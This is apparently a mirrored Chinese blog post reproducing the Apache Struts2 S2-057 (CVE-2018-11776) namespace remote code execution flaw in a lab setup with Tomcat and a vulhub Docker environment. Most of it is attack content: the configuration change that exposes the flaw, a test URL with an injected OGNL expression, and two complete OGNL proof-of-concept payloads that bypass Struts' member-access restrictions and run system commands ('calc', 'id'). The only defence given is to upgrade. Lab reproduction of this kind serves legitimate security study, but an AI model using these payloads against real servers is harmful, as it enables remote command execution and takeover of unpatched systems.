zoukankan      html  css  js  c++  java
  • Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现

    Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现 

    一、漏洞描述

    S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去 。

    二、漏洞影响版本

    Apache struts 2.3-Apache struts 2.3.34

    Apache struts 2.5-Apache struts 2.5.16 

    三、漏洞环境搭建以及复现

    Win7+tomcat7.0+struts-2.5.16

    1、下载struts 2.5.16官方示例showcase

    2、把下载的struts2-showcase放到tomcat的webapps目录下

      

    3、修改struts-actionchaining.xml,发现有两处需要修改

      

    4、修改struts-actionchaining.xml,将namespace删除, 将 result 类型改为 redirectAction

    修改为如下:  

    <struts>
        <package name="actionchaining" extends="struts-default">
            <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
               <result type="redirectAction">
                 <param name = "actionName">register2</param>
               </result>
            </action>
        </package>
    </struts>

    5、重启tomcat

    6、浏览器访问http://192.168.10.230:8080/struts2-showcase/,漏洞环境成功搭建

       

    7、此漏洞利用很简单,只需要在url构造ognl表达式,再加上配置文件中的action标签中的name属性值,并以.action结尾

    浏览器访问http://192.168.10.230:8080/struts2-showcase/${100*100}/actionChain1.action,会执行 Ognl 表达式 ${100*100}

      

    8、路径跳转到我们在配置的action文件路径下,到此,S2-057漏洞被成功的利用了

    9、弹计算器,但是在目标没有弹出计算器

    Poc如下: 

    ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}

      

    四、漏洞防御

    1、 升级最新版本

    使用docker搭建

    1、利用docker搭建vulhub漏洞环境

    docker-compose up -d

    2、 启动环境后,访问http://172.17.0.1:8080/struts2-showcase/

      

    3、burp抓包,修改包如下,说明存在漏洞

      

    4、使用poc验证

    POC如下:

    ${
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

    5、把poc替换相应的位置,验证说明存在漏洞  #poc需要url编码

      

    -----------------------------------------------------------------------------------------------------------

    参考:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057

  • 相关阅读:
    Best Time to Buy and Sell Stock III
    Valid Palindrome
    Longest Substring Without Repeating Characters
    Copy List with Random Pointer
    Add Two Numbers
    Recover Binary Search Tree
    Anagrams
    ZigZag Conversion
    Merge k Sorted Lists
    Distinct Subsequences
  • 原文地址:https://www.cnblogs.com/yuzly/p/11186012.html
Copyright © 2011-2022 走看看